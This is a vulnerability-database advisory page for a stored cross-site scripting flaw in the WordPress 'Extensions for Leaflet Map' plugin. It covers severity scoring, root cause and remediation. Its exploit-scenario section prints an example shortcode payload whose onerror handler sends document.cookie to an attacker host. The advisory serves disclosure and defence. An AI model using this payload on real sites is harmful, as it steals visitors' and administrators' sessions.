EUVD-2026-20645
GHSA-f684-x2p3-9qp3
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates a networked attack requiring low complexity and low privileges (Contributor role), with no user interaction needed and scope change affecting multiple users. While the integrity and confidentiality impact are rated as low in CVSS, the real-world risk is moderate to significant in WordPress environments because: (1) Contributor-level accounts are commonly granted to content creators and may be compromised or abused; (2) stored XSS affects all site visitors, not just the attacker; (3) JavaScript injection can lead to session hijacking, credential theft, malware distribution, or further privilege escalation; (4) scope change means the vulnerability impacts users outside the vulnerable component. EPSS and KEV status are not provided, and no public exploit code is referenced in the input data, suggesting this is a lower-profile vulnerability. However, the attack surface is broad given the prevalence of WordPress and plugin usage, and the barrier to exploitation is low once a Contributor account is obtained. |
| Exploit ScenarioDerived | An attacker with or who compromises a WordPress Contributor account creates a page containing the vulnerable 'elevation-track' shortcode with a malicious payload in one of its attributes, for example: [elevation-track title="<img src=x onerror='fetch(attacker.com/steal?cookie='+document.cookie)'>"]. When any site visitor (including administrators) views the page, the JavaScript executes in their browser context, exfiltrating session cookies or performing actions on behalf of the victim. No user interaction beyond visiting the page is required due to the UI:N (no user interaction) CVSS component. No public exploit code appears to be documented at this time, but the vulnerability mechanics are straightforward. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 08, 2026
Stored Cross-Site Scripting in Extensions for Leaflet Map plugin for WordPress allows authenticated attackers with Contributor-level access to inject arbitrary web scripts via the 'elevation-track' shortcode due to insufficient input sanitization and output escaping, enabling arbitrary script execution whenever users access injected pages. The vulnerability affects all versions up to and including 4.14, with a CVSS score of 6.4 reflecting the moderate but significant impact across multiple users of the same WordPress installation.
RemediationAI
Users should upgrade the Extensions for Leaflet Map plugin to a version newer than 4.14 as soon as available. The affected code in multielevation.php and functions.php requires input sanitization (using WordPress functions such as sanitize_text_field() or sanitize_textarea_field()) at the point of shortcode attribute processing and output escaping (using esc_attr() for HTML attributes or esc_html() for text content) at the point of rendering. Until a patched version is released, site administrators should restrict Contributor-level access to only trusted users, disable the 'elevation-track' shortcode if not actively used, or consider using an alternative mapping plugin. Refer to the WordPress plugin repository (https://wordpress.org/plugins/extensions-leaflet-map/) and Wordfence threat intelligence (https://www.wordfence.com/threat-intel/vulnerabilities/id/7749c45a-f956-4df6-98d0-5ec0db95185e?source=cve) for updates.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the handling of the 'elevation-track' shortcode within the Extensions for Leaflet Map plugin (cpe:2.3:a:hupe13:extensions_for_leaflet_map:*:*:*:*:*:*:*:*). The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), stemming from the plugin's failure to properly sanitize user-supplied shortcode attributes before storing them in the database and to escape them during output rendering. Code references in the plugin's multielevation.php (line 227) and functions.php (line 168) indicate that the shortcode processor directly passes user-controlled input into page rendering without applying WordPress security functions such as sanitize_text_field() during input or wp_kses_post() during output. This allows malicious JavaScript to persist in the database and execute in the context of any user viewing the affected page.
Know when Extensions For Leaflet Map gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'elevation-track' shortcode in all versions up to, and including, 4.14. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Extensions For Leaflet Map
View allStored/DOM-based cross-site scripting in the hupe13 "Extensions for Leaflet Map" WordPress plugin (all versions up to an
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low at
Stored DOM-based cross-site scripting in the Extensions for Leaflet Map WordPress plugin through 5.4 lets unauthenticate
Exploit-DB